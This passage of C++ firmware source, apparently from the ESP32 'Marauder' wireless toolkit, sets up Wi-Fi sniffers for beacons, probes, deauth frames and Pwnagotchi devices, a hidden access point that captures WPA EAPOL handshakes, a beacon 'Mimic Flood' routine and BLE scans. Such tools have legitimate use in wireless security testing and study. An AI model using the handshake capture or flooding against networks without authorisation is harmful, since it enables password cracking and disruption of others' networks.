  584. #ifdef HAS_SCREEN
  585. display_obj.tft.setTextColor(TFT_GREEN);
  586. display_obj.tft.println(F("OK"));
  587. #endif
  588. }
  589. else {
  590. #ifdef HAS_SCREEN
  591. display_obj.tft.setTextColor(TFT_RED);
  592. display_obj.tft.println(F(text17));
  593. display_obj.tft.println(F(text_table4[19]));
  594. #endif
  595. }
  596. }
  597. void WiFiScan::RunInfo()
  598. {
  599. String sta_mac = this->getStaMAC();
  600. String ap_mac = this->getApMAC();
  601. String free_ram = this->freeRAM();
  602. //Serial.print("STA MAC: ");
  603. //Serial.println(sta_mac);
  604. //Serial.print("AP MAC: ");
  605. //Serial.println(ap_mac);
  606. Serial.println(free_ram);
  607. #ifdef HAS_SCREEN
  608. display_obj.tft.setTextWrap(false);
  609. display_obj.tft.setFreeFont(NULL);
  610. display_obj.tft.setCursor(0, SCREEN_HEIGHT / 3);
  611. display_obj.tft.setTextSize(1);
  612. display_obj.tft.setTextColor(TFT_CYAN);
  613. display_obj.tft.println(text_table4[20]);
  614. display_obj.tft.println(text_table4[21] + display_obj.version_number);
  615. display_obj.tft.println(text_table4[22] + (String)esp_get_idf_version());
  616. #endif
  617. if (this->wsl_bypass_enabled) {
  618. #ifdef HAS_SCREEN
  619. display_obj.tft.println(text_table4[23]);
  620. #endif
  621. }
  622. else {
  623. #ifdef HAS_SCREEN
  624. display_obj.tft.println(text_table4[24]);
  625. #endif
  626. }
  627. #ifdef HAS_SCREEN
  628. display_obj.tft.println(text_table4[25] + sta_mac);
  629. display_obj.tft.println(text_table4[26] + ap_mac);
  630. display_obj.tft.println(text_table4[27] + free_ram);
  631. #endif
  632. if (sd_obj.supported) {
  633. #ifdef HAS_SCREEN
  634. display_obj.tft.println(text_table4[28]);
  635. display_obj.tft.print(text_table4[29]);
  636. display_obj.tft.print(sd_obj.card_sz);
  637. display_obj.tft.println("MB");
  638. #endif
  639. }
  640. else {
  641. #ifdef HAS_SCREEN
  642. display_obj.tft.println(text_table4[30]);
  643. display_obj.tft.println(text_table4[31]);
  644. #endif
  645. }
  646. battery_obj.battery_level = battery_obj.getBatteryLevel();
  647. if (battery_obj.i2c_supported) {
  648. #ifdef HAS_SCREEN
  649. display_obj.tft.println(text_table4[32]);
  650. display_obj.tft.println(text_table4[33] + (String)battery_obj.battery_level + "%");
  651. #endif
  652. }
  653. else {
  654. #ifdef HAS_SCREEN
  655. display_obj.tft.println(text_table4[34]);
  656. #endif
  657. }
  658. #ifdef HAS_SCREEN
  659. display_obj.tft.println(text_table4[35] + (String)temp_obj.current_temp + " C");
  660. #endif
  661. }
  662. void WiFiScan::RunEspressifScan(uint8_t scan_mode, uint16_t color) {
  663. sd_obj.openCapture("espressif");
  664. #ifdef MARAUDER_FLIPPER
  665. flipper_led.sniffLED();
  666. #endif
  667. #ifdef HAS_SCREEN
  668. display_obj.TOP_FIXED_AREA_2 = 48;
  669. display_obj.tteBar = true;
  670. display_obj.print_delay_1 = 15;
  671. display_obj.print_delay_2 = 10;
  672. display_obj.initScrollValues(true);
  673. display_obj.tft.setTextWrap(false);
  674. display_obj.tft.setTextColor(TFT_WHITE, color);
  675. #ifndef MARAUDER_MINI
  676. display_obj.tft.fillRect(0,16,240,16, color);
  677. display_obj.tft.drawCentreString(text_table4[36],120,16,2);
  678. display_obj.touchToExit();
  679. #endif
  680. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  681. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  682. #endif
  683. esp_wifi_init(&cfg);
  684. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  685. esp_wifi_set_mode(WIFI_MODE_NULL);
  686. esp_wifi_start();
  687. esp_wifi_set_promiscuous(true);
  688. esp_wifi_set_promiscuous_filter(&filt);
  689. esp_wifi_set_promiscuous_rx_cb(&espressifSnifferCallback);
  690. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  691. this->wifi_initialized = true;
  692. initTime = millis();
  693. }
  694. void WiFiScan::RunPacketMonitor(uint8_t scan_mode, uint16_t color)
  695. {
  696. #ifdef MARAUDER_FLIPPER
  697. flipper_led.sniffLED();
  698. #endif
  699. sd_obj.openCapture("packet_monitor");
  700. #ifndef MARAUDER_MINI
  701. #ifdef HAS_SCREEN
  702. display_obj.tft.init();
  703. display_obj.tft.setRotation(1);
  704. display_obj.tft.fillScreen(TFT_BLACK);
  705. #endif
  706. #ifdef HAS_SCREEN
  707. #ifdef TFT_SHIELD
  708. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  709. Serial.println("Using TFT Shield");
  710. #else if defined(TFT_DIY)
  711. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  712. Serial.println("Using TFT DIY");
  713. #endif
  714. display_obj.tft.setTouch(calData);
  715. //display_obj.tft.setFreeFont(1);
  716. display_obj.tft.setFreeFont(NULL);
  717. display_obj.tft.setTextSize(1);
  718. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
  719. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
  720. delay(10);
  721. display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
  722. display_obj.tftDrawColorKey();
  723. display_obj.tftDrawXScaleButtons(x_scale);
  724. display_obj.tftDrawYScaleButtons(y_scale);
  725. display_obj.tftDrawChannelScaleButtons(set_channel);
  726. display_obj.tftDrawExitScaleButtons();
  727. #endif
  728. #else
  729. #ifdef HAS_SCREEN
  730. display_obj.TOP_FIXED_AREA_2 = 48;
  731. display_obj.tteBar = true;
  732. display_obj.print_delay_1 = 15;
  733. display_obj.print_delay_2 = 10;
  734. display_obj.initScrollValues(true);
  735. display_obj.tft.setTextWrap(false);
  736. display_obj.tft.setTextColor(TFT_WHITE, color);
  737. #ifndef MARAUDER_MINI
  738. display_obj.tft.fillRect(0,16,240,16, color);
  739. display_obj.tft.drawCentreString(text_table4[38],120,16,2);
  740. display_obj.touchToExit();
  741. #endif
  742. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  743. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  744. #endif
  745. #endif
  746. Serial.println("Running packet scan...");
  747. esp_wifi_init(&cfg);
  748. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  749. esp_wifi_set_mode(WIFI_MODE_NULL);
  750. esp_wifi_start();
  751. esp_wifi_set_promiscuous(true);
  752. esp_wifi_set_promiscuous_filter(&filt);
  753. esp_wifi_set_promiscuous_rx_cb(&wifiSnifferCallback);
  754. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  755. this->wifi_initialized = true;
  756. uint32_t initTime = millis();
  757. }
  758. void WiFiScan::RunEapolScan(uint8_t scan_mode, uint16_t color)
  759. {
  760. #ifdef MARAUDER_FLIPPER
  761. flipper_led.sniffLED();
  762. #endif
  763. num_eapol = 0;
  764. #ifndef MARAUDER_MINI
  765. #ifdef HAS_SCREEN
  766. display_obj.tft.init();
  767. display_obj.tft.setRotation(1);
  768. display_obj.tft.fillScreen(TFT_BLACK);
  769. #endif
  770. sd_obj.openCapture("eapol");
  771. #ifdef HAS_SCREEN
  772. #ifdef TFT_SHIELD
  773. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  774. //Serial.println("Using TFT Shield");
  775. #else if defined(TFT_DIY)
  776. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  777. //Serial.println("Using TFT DIY");
  778. #endif
  779. display_obj.tft.setTouch(calData);
  780. display_obj.tft.setFreeFont(NULL);
  781. display_obj.tft.setTextSize(1);
  782. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
  783. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
  784. delay(10);
  785. display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
  786. display_obj.tftDrawEapolColorKey();
  787. display_obj.tftDrawChannelScaleButtons(set_channel);
  788. display_obj.tftDrawExitScaleButtons();
  789. #endif
  790. #else
  791. sd_obj.openCapture("eapol");
  792. #ifdef HAS_SCREEN
  793. display_obj.TOP_FIXED_AREA_2 = 48;
  794. display_obj.tteBar = true;
  795. display_obj.print_delay_1 = 15;
  796. display_obj.print_delay_2 = 10;
  797. display_obj.initScrollValues(true);
  798. display_obj.tft.setTextWrap(false);
  799. display_obj.tft.setTextColor(TFT_WHITE, color);
  800. #ifndef MARAUDER_MINI
  801. display_obj.tft.fillRect(0,16,240,16, color);
  802. display_obj.tft.drawCentreString(text_table4[38],120,16,2);
  803. display_obj.touchToExit();
  804. #endif
  805. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  806. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  807. #endif
  808. #endif
  809. esp_wifi_init(&cfg);
  810. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  811. esp_wifi_set_mode(WIFI_MODE_AP);
  812. esp_err_t err;
  813. wifi_config_t conf;
  814. err = esp_wifi_set_protocol(WIFI_IF_AP, WIFI_PROTOCOL_11B | WIFI_PROTOCOL_11G | WIFI_PROTOCOL_11N | WIFI_PROTOCOL_LR);
  815. if (err != 0)
  816. {
  817. Serial.print("could not set protocol : err=0x");
  818. Serial.println(err, HEX);
  819. }
  820. esp_wifi_get_config((wifi_interface_t)WIFI_IF_AP, &conf);
  821. conf.ap.ssid[0] = '\0';
  822. conf.ap.ssid_len = 0;
  823. conf.ap.channel = this->set_channel;
  824. conf.ap.ssid_hidden = 1;
  825. conf.ap.max_connection = 0;
  826. conf.ap.beacon_interval = 60000;
  827. err = esp_wifi_set_config((wifi_interface_t)WIFI_IF_AP, &conf);
  828. if (err != 0)
  829. {
  830. Serial.print("AP config set error, Maurauder SSID might visible : err=0x");
  831. Serial.println(err, HEX);
  832. }
  833. esp_wifi_start();
  834. esp_wifi_set_promiscuous(true);
  835. esp_wifi_set_promiscuous_filter(&filt);
  836. if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
  837. esp_wifi_set_promiscuous_rx_cb(&activeEapolSnifferCallback);
  838. else
  839. esp_wifi_set_promiscuous_rx_cb(&eapolSnifferCallback);
  840. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  841. this->wifi_initialized = true;
  842. initTime = millis();
  843. }
  844. // Function to prepare for beacon mimic
  845. void WiFiScan::RunMimicFlood(uint8_t scan_mode, uint16_t color) {
  846. #ifdef HAS_SCREEN
  847. display_obj.TOP_FIXED_AREA_2 = 48;
  848. display_obj.tteBar = true;
  849. display_obj.print_delay_1 = 15;
  850. display_obj.print_delay_2 = 10;
  851. display_obj.initScrollValues(true);
  852. display_obj.tft.setTextWrap(false);
  853. display_obj.tft.setTextColor(TFT_BLACK, color);
  854. #ifndef MARAUDER_MINI
  855. display_obj.tft.fillRect(0,16,240,16, color);
  856. display_obj.tft.drawCentreString(" Mimic Flood ",120,16,2);
  857. display_obj.touchToExit();
  858. #endif
  859. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  860. #endif
  861. packets_sent = 0;
  862. esp_wifi_init(&cfg);
  863. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  864. esp_wifi_set_mode(WIFI_AP_STA);
  865. esp_wifi_start();
  866. esp_wifi_set_promiscuous_filter(NULL);
  867. esp_wifi_set_promiscuous(true);
  868. esp_wifi_set_max_tx_power(78);
  869. this->wifi_initialized = true;
  870. initTime = millis();
  871. }
  872. void WiFiScan::RunPwnScan(uint8_t scan_mode, uint16_t color)
  873. {
  874. sd_obj.openCapture("pwnagotchi");
  875. #ifdef MARAUDER_FLIPPER
  876. flipper_led.sniffLED();
  877. #endif
  878. #ifdef HAS_SCREEN
  879. display_obj.TOP_FIXED_AREA_2 = 48;
  880. display_obj.tteBar = true;
  881. display_obj.print_delay_1 = 15;
  882. display_obj.print_delay_2 = 10;
  883. display_obj.initScrollValues(true);
  884. display_obj.tft.setTextWrap(false);
  885. display_obj.tft.setTextColor(TFT_WHITE, color);
  886. #ifndef MARAUDER_MINI
  887. display_obj.tft.fillRect(0,16,240,16, color);
  888. display_obj.tft.drawCentreString(text_table4[37],120,16,2);
  889. display_obj.touchToExit();
  890. #endif
  891. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  892. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  893. #endif
  894. esp_wifi_init(&cfg);
  895. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  896. esp_wifi_set_mode(WIFI_MODE_NULL);
  897. esp_wifi_start();
  898. esp_wifi_set_promiscuous(true);
  899. esp_wifi_set_promiscuous_filter(&filt);
  900. esp_wifi_set_promiscuous_rx_cb(&pwnSnifferCallback);
  901. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  902. this->wifi_initialized = true;
  903. initTime = millis();
  904. }
  905. // Function to start running a beacon scan
  906. void WiFiScan::RunBeaconScan(uint8_t scan_mode, uint16_t color)
  907. {
  908. sd_obj.openCapture("beacon");
  909. #ifdef MARAUDER_FLIPPER
  910. flipper_led.sniffLED();
  911. #endif
  912. #ifdef HAS_SCREEN
  913. display_obj.TOP_FIXED_AREA_2 = 48;
  914. display_obj.tteBar = true;
  915. display_obj.print_delay_1 = 15;
  916. display_obj.print_delay_2 = 10;
  917. display_obj.initScrollValues(true);
  918. display_obj.tft.setTextWrap(false);
  919. display_obj.tft.setTextColor(TFT_WHITE, color);
  920. #ifndef MARAUDER_MINI
  921. display_obj.tft.fillRect(0,16,240,16, color);
  922. display_obj.tft.drawCentreString(text_table4[38],120,16,2);
  923. display_obj.touchToExit();
  924. #endif
  925. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  926. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  927. #endif
  928. esp_wifi_init(&cfg);
  929. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  930. esp_wifi_set_mode(WIFI_MODE_NULL);
  931. esp_wifi_start();
  932. esp_wifi_set_promiscuous(true);
  933. esp_wifi_set_promiscuous_filter(&filt);
  934. esp_wifi_set_promiscuous_rx_cb(&beaconSnifferCallback);
  935. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  936. this->wifi_initialized = true;
  937. initTime = millis();
  938. }
  939. void WiFiScan::RunRawScan(uint8_t scan_mode, uint16_t color)
  940. {
  941. sd_obj.openCapture("raw");
  942. #ifdef MARAUDER_FLIPPER
  943. flipper_led.sniffLED();
  944. #endif
  945. #ifdef HAS_SCREEN
  946. display_obj.TOP_FIXED_AREA_2 = 48;
  947. display_obj.tteBar = true;
  948. display_obj.print_delay_1 = 15;
  949. display_obj.print_delay_2 = 10;
  950. display_obj.initScrollValues(true);
  951. display_obj.tft.setTextWrap(false);
  952. display_obj.tft.setTextColor(TFT_WHITE, color);
  953. #ifndef MARAUDER_MINI
  954. display_obj.tft.fillRect(0,16,240,16, color);
  955. display_obj.tft.drawCentreString(text_table1[58],120,16,2);
  956. display_obj.touchToExit();
  957. #endif
  958. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  959. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  960. #endif
  961. esp_wifi_init(&cfg);
  962. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  963. esp_wifi_set_mode(WIFI_MODE_NULL);
  964. esp_wifi_start();
  965. esp_wifi_set_promiscuous(true);
  966. esp_wifi_set_promiscuous_filter(&filt);
  967. esp_wifi_set_promiscuous_rx_cb(&rawSnifferCallback);
  968. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  969. this->wifi_initialized = true;
  970. initTime = millis();
  971. }
  972. void WiFiScan::RunDeauthScan(uint8_t scan_mode, uint16_t color)
  973. {
  974. sd_obj.openCapture("deauth");
  975. #ifdef MARAUDER_FLIPPER
  976. flipper_led.sniffLED();
  977. #endif
  978. #ifdef HAS_SCREEN
  979. display_obj.TOP_FIXED_AREA_2 = 48;
  980. display_obj.tteBar = true;
  981. display_obj.print_delay_1 = 15;
  982. display_obj.print_delay_2 = 10;
  983. display_obj.initScrollValues(true);
  984. display_obj.tft.setTextWrap(false);
  985. display_obj.tft.setTextColor(TFT_BLACK, color);
  986. #ifndef MARAUDER_MINI
  987. display_obj.tft.fillRect(0,16,240,16, color);
  988. display_obj.tft.drawCentreString(text_table4[39],120,16,2);
  989. display_obj.touchToExit();
  990. #endif
  991. display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
  992. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  993. #endif
  994. esp_wifi_init(&cfg);
  995. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  996. esp_wifi_set_mode(WIFI_MODE_NULL);
  997. esp_wifi_start();
  998. esp_wifi_set_promiscuous(true);
  999. esp_wifi_set_promiscuous_filter(&filt);
  1000. esp_wifi_set_promiscuous_rx_cb(&deauthSnifferCallback);
  1001. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1002. this->wifi_initialized = true;
  1003. initTime = millis();
  1004. }
  1005. // Function for running probe request scan
  1006. void WiFiScan::RunProbeScan(uint8_t scan_mode, uint16_t color)
  1007. {
  1008. sd_obj.openCapture("probe");
  1009. #ifdef MARAUDER_FLIPPER
  1010. flipper_led.sniffLED();
  1011. #endif
  1012. #ifdef HAS_SCREEN
  1013. display_obj.TOP_FIXED_AREA_2 = 48;
  1014. display_obj.tteBar = true;
  1015. display_obj.print_delay_1 = 15;
  1016. display_obj.print_delay_2 = 10;
  1017. display_obj.initScrollValues(true);
  1018. display_obj.tft.setTextWrap(false);
  1019. display_obj.tft.setTextColor(TFT_BLACK, color);
  1020. #ifndef MARAUDER_MINI
  1021. display_obj.tft.fillRect(0,16,240,16, color);
  1022. display_obj.tft.drawCentreString(text_table4[40],120,16,2);
  1023. display_obj.touchToExit();
  1024. #endif
  1025. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  1026. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  1027. #endif
  1028. esp_wifi_init(&cfg);
  1029. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  1030. esp_wifi_set_mode(WIFI_MODE_NULL);
  1031. esp_wifi_start();
  1032. esp_wifi_set_promiscuous(true);
  1033. esp_wifi_set_promiscuous_filter(&filt);
  1034. esp_wifi_set_promiscuous_rx_cb(&probeSnifferCallback);
  1035. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1036. this->wifi_initialized = true;
  1037. initTime = millis();
  1038. }
  1039. // Function to start running any BLE scan
  1040. void WiFiScan::RunBluetoothScan(uint8_t scan_mode, uint16_t color)
  1041. {
  1042. #ifdef HAS_BT
  1043. #ifdef HAS_SCREEN
  1044. display_obj.print_delay_1 = 50;
  1045. display_obj.print_delay_2 = 20;
  1046. #endif
  1047. NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
  1048. NimBLEDevice::setScanDuplicateCacheSize(200);
  1049. NimBLEDevice::init("");
  1050. pBLEScan = NimBLEDevice::getScan(); //create new scan
  1051. if (scan_mode == BT_SCAN_ALL)
  1052. {
  1053. #ifdef HAS_SCREEN
  1054. display_obj.TOP_FIXED_AREA_2 = 48;
  1055. display_obj.tteBar = true;
  1056. display_obj.initScrollValues(true);
  1057. display_obj.tft.setTextWrap(false);
  1058. display_obj.tft.setTextColor(TFT_BLACK, color);
  1059. #ifndef MARAUDER_MINI
  1060. display_obj.tft.fillRect(0,16,240,16, color);
  1061. display_obj.tft.drawCentreString(text_table4[41],120,16,2);
  1062. display_obj.touchToExit();
  1063. #endif
  1064. display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
  1065. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  1066. #endif
  1067. pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanAllCallback(), false);
  1068. }
  1069. else if (scan_mode == BT_SCAN_SKIMMERS)
  1070. {
  1071. #ifdef HAS_SCREEN
  1072. display_obj.TOP_FIXED_AREA_2 = 160;
  1073. display_obj.tteBar = true;
  1074. display_obj.tft.fillScreen(TFT_DARKGREY);
  1075. display_obj.initScrollValues(true);
  1076. display_obj.tft.setTextWrap(false);
  1077. display_obj.tft.setTextColor(TFT_BLACK, color);
  1078. display_obj.tft.fillRect(0,16,240,16, color);
  1079. display_obj.tft.drawCentreString(text_table4[42],120,16,2);
  1080. display_obj.twoPartDisplay(text_table4[43]);
  1081. display_obj.tft.setTextColor(TFT_BLACK, TFT_DARKGREY);
  1082. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  1083. #endif
  1084. pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanSkimmersCallback(), false);
  1085. }
  1086. pBLEScan->setActiveScan(true); //active scan uses more power, but get results faster
  1087. pBLEScan->setInterval(97);
  1088. pBLEScan->setWindow(37); // less or equal setInterval value
  1089. pBLEScan->setMaxResults(0);
  1090. pBLEScan->start(0, scanCompleteCB, false);
  1091. Serial.println("Started BLE Scan");
  1092. this->ble_initialized = true;
  1093. initTime = millis();
  1094. #endif
  1095. }
  1096. // Function that is called when BLE scan is completed
  1097. #ifdef HAS_BT
  1098. void WiFiScan::scanCompleteCB(BLEScanResults scanResults) {
  1099. printf("Scan complete!\n");
  1100. printf("Found %d devices\n", scanResults.getCount());
  1101. scanResults.dump();
  1102. } // scanCompleteCB
  1103. #endif
  1104. // Function to extract MAC addr from a packet at given offset
  1105. void WiFiScan::getMAC(char *addr, uint8_t* data, uint16_t offset) {
  1106. sprintf(addr, "%02x:%02x:%02x:%02x:%02x:%02x", data[offset+0], data[offset+1], data[offset+2], data[offset+3], data[offset+4], data[offset+5]);
  1107. }
  1108. void WiFiScan::espressifSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1109. {
  1110. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1111. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1112. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1113. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1114. int len = snifferPacket->rx_ctrl.sig_len;
  1115. String display_string = "";
  1116. String src_addr_string = "";
  1117. if (type == WIFI_PKT_MGMT)
  1118. {
  1119. len -= 4;
  1120. }
  1121. int fctl = ntohs(frameControl->fctl);
  1122. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1123. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1124. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1125. //if ((snifferPacket->payload[0] == 0x80) && (display_obj.display_buffer->size() == 0))
  1126. //{
  1127. char addr[] = "00:00:00:00:00:00";
  1128. getMAC(addr, snifferPacket->payload, 10);
  1129. src_addr_string.concat(addr);
  1130. bool match = false;
  1131. for (int i = 0; i < (sizeof(espressif_macs) / sizeof(espressif_macs[0])); i++) {
  1132. if (src_addr_string.startsWith(espressif_macs[i])) {
  1133. match = true;
  1134. break;
  1135. }
  1136. }
  1137. if (!match)
  1138. return;
  1139. delay(random(0, 10));
  1140. Serial.print("RSSI: ");
  1141. Serial.print(snifferPacket->rx_ctrl.rssi);
  1142. Serial.print(" Ch: ");
  1143. Serial.print(snifferPacket->rx_ctrl.channel);
  1144. Serial.print(" BSSID: ");
  1145. Serial.print(addr);
  1146. //display_string.concat(" RSSI: ");
  1147. //display_string.concat(snifferPacket->rx_ctrl.rssi);
  1148. display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
  1149. //display_string.concat(" ");
  1150. display_string.concat(" -> ");
  1151. display_string.concat(addr);
  1152. for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
  1153. {
  1154. display_string.concat(" ");
  1155. }
  1156. Serial.print(" ");
  1157. #ifdef HAS_SCREEN
  1158. display_obj.loading = true;
  1159. display_obj.display_buffer->add(display_string);
  1160. display_obj.loading = false;
  1161. #endif
  1162. Serial.println();
  1163. if (save_packet)
  1164. sd_obj.addPacket(snifferPacket->payload, len);
  1165. //}
  1166. }
  1167. void WiFiScan::pwnSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1168. {
  1169. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1170. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1171. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1172. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1173. int len = snifferPacket->rx_ctrl.sig_len;
  1174. String display_string = "";
  1175. String src = "";
  1176. String essid = "";
  1177. if (type == WIFI_PKT_MGMT)
  1178. {
  1179. len -= 4;
  1180. int fctl = ntohs(frameControl->fctl);
  1181. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1182. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1183. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1184. #ifdef HAS_SCREEN
  1185. int buf = display_obj.display_buffer->size();
  1186. #else
  1187. int buf = 0;
  1188. #endif
  1189. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1190. {
  1191. char addr[] = "00:00:00:00:00:00";
  1192. getMAC(addr, snifferPacket->payload, 10);
  1193. src.concat(addr);
  1194. if (src == "de:ad:be:ef:de:ad") {
  1195. delay(random(0, 10));
  1196. Serial.print("RSSI: ");
  1197. Serial.print(snifferPacket->rx_ctrl.rssi);
  1198. Serial.print(" Ch: ");
  1199. Serial.print(snifferPacket->rx_ctrl.channel);
  1200. Serial.print(" BSSID: ");
  1201. Serial.print(addr);
  1202. //display_string.concat(addr);
  1203. display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
  1204. Serial.print(" ESSID: ");
  1205. display_string.concat(" -> ");
  1206. // Just grab the first 255 bytes of the pwnagotchi beacon
  1207. // because that is where the name is
  1208. //for (int i = 0; i < snifferPacket->payload[37]; i++)
  1209. for (int i = 0; i < len - 37; i++)
  1210. {
  1211. Serial.print((char)snifferPacket->payload[i + 38]);
  1212. //display_string.concat((char)snifferPacket->payload[i + 38]);
  1213. if (isAscii(snifferPacket->payload[i + 38]))
  1214. essid.concat((char)snifferPacket->payload[i + 38]);
  1215. else
  1216. Serial.println("Got non-ascii character: " + (String)(char)snifferPacket->payload[i + 38]);
  1217. }
  1218. //essid.concat("\": \"\"}}");
  1219. //Serial.println("\n" + (String)(snifferPacket->payload[37]) + " -> " + essid);
  1220. // Load json
  1221. //DynamicJsonBuffer jsonBuffer; // ArduinoJson v5
  1222. DynamicJsonDocument json(1024); // ArduinoJson v6
  1223. //JsonObject& json = jsonBuffer.parseObject(essid); // ArduinoJson v5
  1224. // ArduinoJson v6
  1225. if (deserializeJson(json, essid)) {
  1226. Serial.println("\nCould not parse Pwnagotchi json");
  1227. display_string.concat(essid);
  1228. }
  1229. else {
  1230. Serial.println("\nSuccessfully parsed json");
  1231. String json_output;
  1232. //json.printTo(json_output); // ArduinoJson v5
  1233. serializeJson(json, json_output); // ArduinoJson v6
  1234. Serial.println(json_output);
  1235. display_string.concat(json["name"].as<String>() + " pwnd: " + json["pwnd_tot"].as<String>());
  1236. }
  1237. int temp_len = display_string.length();
  1238. for (int i = 0; i < 40 - temp_len; i++)
  1239. {
  1240. display_string.concat(" ");
  1241. }
  1242. Serial.print(" ");
  1243. #ifdef HAS_SCREEN
  1244. if (display_obj.display_buffer->size() == 0)
  1245. {
  1246. display_obj.loading = true;
  1247. display_obj.display_buffer->add(display_string);
  1248. display_obj.loading = false;
  1249. }
  1250. #endif
  1251. Serial.println();
  1252. if (save_packet)
  1253. sd_obj.addPacket(snifferPacket->payload, len);
  1254. }
  1255. }
  1256. }
  1257. }
  1258. void WiFiScan::apSnifferCallbackFull(void* buf, wifi_promiscuous_pkt_type_t type) {
  1259. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1260. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1261. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1262. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1263. int len = snifferPacket->rx_ctrl.sig_len;
  1264. String display_string = "";
  1265. String essid = "";
  1266. String bssid = "";
  1267. if (type == WIFI_PKT_MGMT)
  1268. {
  1269. len -= 4;
  1270. int fctl = ntohs(frameControl->fctl);
  1271. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1272. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1273. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1274. #ifdef HAS_SCREEN
  1275. int buf = display_obj.display_buffer->size();
  1276. #else
  1277. int buf = 0;
  1278. #endif
  1279. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1280. {
  1281. char addr[] = "00:00:00:00:00:00";
  1282. getMAC(addr, snifferPacket->payload, 10);
  1283. bool in_list = false;
  1284. bool mac_match = true;
  1285. for (int i = 0; i < access_points->size(); i++) {
  1286. mac_match = true;
